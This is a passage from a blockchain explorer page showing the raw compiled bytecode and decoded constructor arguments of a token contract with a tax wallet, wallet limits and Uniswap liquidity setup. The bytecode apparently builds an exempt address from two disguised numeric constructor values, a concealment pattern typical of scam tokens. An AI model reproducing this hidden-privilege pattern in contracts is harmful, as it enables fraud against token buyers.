01915b505050505081565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b5f60011515600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611711575f80fd5b81600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461175d9190612c25565b925050819055505f600460026005811061177a576117796129ad565b5b01541180156117d5575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156117fd5760046002600581106117ef576117ee6129ad565b5b01548211156117fc575f80fd5b5b5f6004600160058110611813576118126129ad565b5b015411801561186e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80156118c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611978575f60046001600581106118e2576118e16129ad565b5b01546064846118f19190612bf5565b6118fb9190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080836119749190612c25565b9250505b5f6004806005811061198d5761198c6129ad565b5b01541180156119e9575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a42575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611aee57507f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b5d5760048060058110611b0757611b066129ad565b5b015482600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b529190612424565b1115611b5c575f80fd5b5b81600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c40578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c379190612609565b60405180910390a35b6001905092915050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd090612ca2565b60405180910390fd5b600360149054906101000a900460ff16158015611d005750671bc16d674ec8000060105410155b611d08575f80fd5b6001600360146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ea0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ec49190612cd4565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f719190612cd4565b6040518363ffffffff1660e01b8152600401611f8e929190612cff565b6020604051808303815f875af1158015611faa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fce9190612cd4565b60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016120d096959493929190612d68565b60606040518083038185885af11580156120ec573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906121119190612dc7565b50505050565b42841015612123575f80fd5b5f600161212e61143e565b7f19272f7a68d74b33c77bd33c8335a1faf7b19f79ef84f4f54ff45c1ea7d8c2fd8a8a8a600d5f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b6040516020016121b396959493929190612e17565b604051602081830303815290604052805190602001206040516020016121da929190612eea565b604051602081830303815290604052805190602001208585856040515f815260200160405260405161220f9493929190612f20565b6020604051602081039080840390855afa15801561222f573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156122a257508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6122aa575f80fd5b85600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516123859190612609565b60405180910390a350505050505050565b600c602052815f5260405f20602052805f5260405f205f91509150505481565b600360149054906101000a900460ff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61242e826123ee565b9150612439836123ee565b9250828201905080821115612451576124506123f7565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561248e578082015181840152602081019050612473565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124b382612457565b6124bd8185612461565b93506124cd818560208601612471565b6124d681612499565b840191505092915050565b5f6020820190508181035f8301526124f981846124a9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61252e82612505565b9050919050565b61253e81612524565b8114612548575f80fd5b50565b5f8135905061255981612535565b92915050565b612568816123ee565b8114612572575f80fd5b50565b5f813590506125838161255f565b92915050565b5f806040838503121561259f5761259e612501565b5b5f6125ac8582860161254b565b92505060206125bd85828601612575565b9150509250929050565b5f8115159050919050565b6125db816125c7565b82525050565b5f6020820190506125f45f8301846125d2565b92915050565b612603816123ee565b82525050565b5f60208201905061261c5f8301846125fa565b92915050565b5f805f6060848603121561263957612638612501565b5b5f6126468682870161254b565b93505060206126578682870161254b565b925050604061266886828701612575565b9150509250925092565b5f60ff82169050919050565b61268781612672565b82525050565b5f6020820190506126a05f83018461267e565b92915050565b5f819050919050565b6126b8816126a6565b82525050565b5f6020820190506126d15f8301846126af565b92915050565b6126e081612524565b82525050565b5f6020820190506126f95f8301846126d7565b92915050565b5f6020828403121561271457612713612501565b5b5f6127218482850161254b565b91505092915050565b61273381612672565b811461273d575f80fd5b50565b5f8135905061274e8161272a565b92915050565b61275d816126a6565b8114612767575f80fd5b50565b5f8135905061277881612754565b92915050565b5f805f805f805f60e0888a03121561279957612798612501565b5b5f6127a68a828b0161254b565b97505060206127b78a828b0161254b565b96505060406127c88a828b01612575565b95505060606127d98a828b01612575565b94505060806127ea8a828b01612740565b93505060a06127fb8a828b0161276a565b92505060c061280c8a828b0161276a565b91505092959891949750929550565b5f806040838503121561283157612830612501565b5b5f61283e8582860161254b565b925050602061284f8582860161254b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061289d57607f821691505b6020821081036128b0576128af612859565b5b50919050565b5f815190506128c48161255f565b92915050565b5f602082840312156128df576128de612501565b5b5f6128ec848285016128b6565b91505092915050565b5f6040820190506129085f8301856126d7565b61291560208301846125fa565b9392505050565b612925816125c7565b811461292f575f80fd5b50565b5f815190506129408161291c565b92915050565b5f6020828403121561295b5761295a612501565b5b5f61296884828501612932565b91505092915050565b5f61297b82612672565b915061298683612672565b925082820261299481612672565b91508082146129a6576129a56123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129e482612672565b91506129ef83612672565b9250828201905060ff811115612a0857612a076123f7565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612a6357808604811115612a3f57612a3e6123f7565b5b6001851615612a4e5780820291505b8081029050612a5c85612a0e565b9450612a23565b94509492505050565b5f82612a7b5760019050612b36565b81612a88575f9050612b36565b8160018114612a9e5760028114612aa857612ad7565b6001915050612b36565b60ff841115612aba57612ab96123f7565b5b8360020a915084821115612ad157612ad06123f7565b5b50612b36565b5060208310610133831016604e8410600b8410161715612b0c5782820a905083811115612b0757612b066123f7565b5b612b36565b612b198484846001612a1a565b92509050818404811115612b3057612b2f6123f7565b5b81810290505b9392505050565b5f612b47826123ee565b9150612b52836123ee565b9250612b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a6c565b905092915050565b5f612b91826123ee565b9150612b9c836123ee565b9250828202612baa816123ee565b91508282048414831517612bc157612bc06123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612bff826123ee565b9150612c0a836123ee565b925082612c1a57612c19612bc8565b5b828204905092915050565b5f612c2f826123ee565b9150612c3a836123ee565b9250828203905081811115612c5257612c516123f7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612c8c602083612461565b9150612c9782612c58565b602082019050919050565b5f6020820190508181035f830152612cb981612c80565b9050919050565b5f81519050612cce81612535565b92915050565b5f60208284031215612ce957612ce8612501565b5b5f612cf684828501612cc0565b91505092915050565b5f604082019050612d125f8301856126d7565b612d1f60208301846126d7565b9392505050565b5f819050919050565b5f819050919050565b5f612d52612d4d612d4884612d26565b612d2f565b6123ee565b9050919050565b612d6281612d38565b82525050565b5f60c082019050612d7b5f8301896126d7565b612d8860208301886125fa565b612d956040830187612d59565b612da26060830186612d59565b612daf60808301856126d7565b612dbc60a08301846125fa565b979650505050505050565b5f805f60608486031215612dde57612ddd612501565b5b5f612deb868287016128b6565b9350506020612dfc868287016128b6565b9250506040612e0d868287016128b6565b9150509250925092565b5f60c082019050612e2a5f8301896126af565b612e3760208301886126d7565b612e4460408301876126d7565b612e5160608301866125fa565b612e5e60808301856125fa565b612e6b60a08301846125fa565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f612eb4600283612e76565b9150612ebf82612e80565b600282019050919050565b5f819050919050565b612ee4612edf826126a6565b612eca565b82525050565b5f612ef482612ea8565b9150612f008285612ed3565b602082019150612f108284612ed3565b6020820191508190509392505050565b5f608082019050612f335f8301876126af565b612f40602083018661267e565b612f4d60408301856126af565b612f5a60608301846126af565b9594505050505056fea26469706673582212204e200dc7616bfc95f47bbf3445c24ad82ed58924b5d555998ce2f6906b178e6764736f6c63430008150033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000003391b9a154eec0146b3f000000000000000000000000acd3001fae1f271a7eaf5bdee802170a2ceb30c10000000000000000000000000000000000000000000082ecc2ce666ada079474
-----Decoded View---------------
Arg [0] : _sig (uint80): 243528844582792459479871
Arg [1] : _taxWallet (address): 0xacD3001FAe1F271a7eaf5BdeE802170a2CEb30c1
Arg [2] : _brand (uint80): 618275111644147002872948
-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000000003391b9a154eec0146b3f
Arg [1] : 000000000000000000000000acd3001fae1f271a7eaf5bdee802170a2ceb30c1
Arg [2] : 0000000000000000000000000000000000000000000082ecc2ce666ada079474
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.